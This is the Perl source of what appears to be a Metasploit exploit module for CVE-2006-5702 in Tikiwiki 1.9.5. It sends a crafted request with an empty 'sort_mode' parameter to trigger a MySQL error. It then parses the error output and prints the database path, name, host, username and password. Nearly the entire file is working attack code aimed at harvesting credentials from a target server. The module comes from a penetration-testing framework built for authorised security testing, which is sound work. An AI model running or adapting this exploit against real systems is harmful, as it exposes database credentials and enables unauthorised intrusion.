##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::tikiwiki_information_disclosure;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
	'Name'     => 'Tikiwiki information disclosure',
	'Version'  => '$Rev: $',
	'Authors'  => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
	'Arch'     => [ ],
	'OS'       => [ ],
	'Priv'     => 0,
	'UserOpts' => 
	{
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 80],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'DIR'   => [1, 'DATA', 'Tikiwiki directory path', '/tikiwiki'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	},

	'Description' => Pex::Text::Freeform(qq{
		A vulnerability has been reported in Tikiwiki, which can be exploited by
		a anonymous user to dump the mysql user & passwd just by creating a mysql
		error with the "sort_mode" var.
		
		/tiki-lastchanges.php?days=1&offset=0&sort_mode=
		/tiki-listpages.php?offset=0&sort_mode=
		/tiki-webmail_contacts.php?sort_mode=

		The vulnerability has been reported in Tikiwiki version 1.9.5.
	}),

	'Refs' => 
	[
		['OSVDB', '30172'],
		['BID', '20858'],
		['CVE', '2006-5702'],
		['MIL', '2701'],
		['URL', 'http://secunia.com/advisories/22678/'],
	],

	'Keys' => ['tikiwiki'],

	'DisclosureDate' => 'Nov 1 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->VHost;
	my $target_port = $self->GetVar('RPORT');
	my $dir         = $self->GetVar('DIR');

	my $rpath = "/tiki-lastchanges.php?days=1&offset=0&sort_mode=";
	$dir = $dir.$rpath;

	my $request =
		"GET $dir HTTP/1.1\r\n".
		"Accept: */*\r\n".
		"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
		"Host: $target_host:$target_port\r\n".
		"Connection: Close\r\n".
		"\r\n";

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr' => $target_host,
		'PeerPort' => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	);

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$self->PrintLine("[*] Establishing a connection to the target...");

	$s->Send($request);

	my $results = $s->Recv(-1, 20);
	
	$self->PrintLine("[*] Get informations about database...");
	$self->PrintLine("");

	if ($results){
		my @results = split(/\n/, $results);

		my $n = 0;
		my $c = 0;

		foreach(@results){
			$n++;
		
			if ($c < 6){

				if ($_ =~ /\[\"file\"\]/ism){
					$c++;
					(undef,$results[$n]) = split(/\"/, $results[$n]);
					($results[$n],undef) = split(/\"/, $results[$n]);
					$self->PrintLine("path   : $results[$n]");
				}

				if ($_ =~ /\[\"databaseType\"\]/ism){
					$c++;
					(undef,$results[$n]) = split(/\"/, $results[$n]);
					($results[$n],undef) = split(/\"/, $results[$n]);
					$self->PrintLine("dbtype : $results[$n]");
				}
					
				if ($_ =~ /\[\"databaseName\"\]/ism){
					$c++;
					(undef,$results[$n]) = split(/\"/, $results[$n]);
					($results[$n],undef) = split(/\"/, $results[$n]);
					$self->PrintLine("dbname : $results[$n]");
				}

				if ($_ =~ /\[\"host\"\]/ism){
					$c++;
					(undef,$results[$n]) = split(/\"/, $results[$n]);
					($results[$n],undef) = split(/\"/, $results[$n]);
					$self->PrintLine("host   : $results[$n]");
				}

				if ($_ =~ /\[\"user\"\]/ism){
					$c++;
					(undef,$results[$n]) = split(/\"/, $results[$n]);
					($results[$n],undef) = split(/\"/, $results[$n]);
					$self->PrintLine("user   : $results[$n]");
				}

				if ($_ =~ /\[\"password\"\]/ism){
					$c++;
					(undef,$results[$n]) = split(/\"/, $results[$n]);
					($results[$n],undef) = split(/\"/, $results[$n]);
					$self->PrintLine("pass   : $results[$n]");
				}
			}
		
		}
		
		$self->PrintLine('[*] Could not obtain informations about database.') if $c == 0;
		$self->PrintLine("");

	} else {
		$self->PrintLine('[*] Could not obtain informations about database.');
	}

	$s->Close();

	return;
}

sub VHost {
	my $self = shift;
	my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
	return $name;
}

1;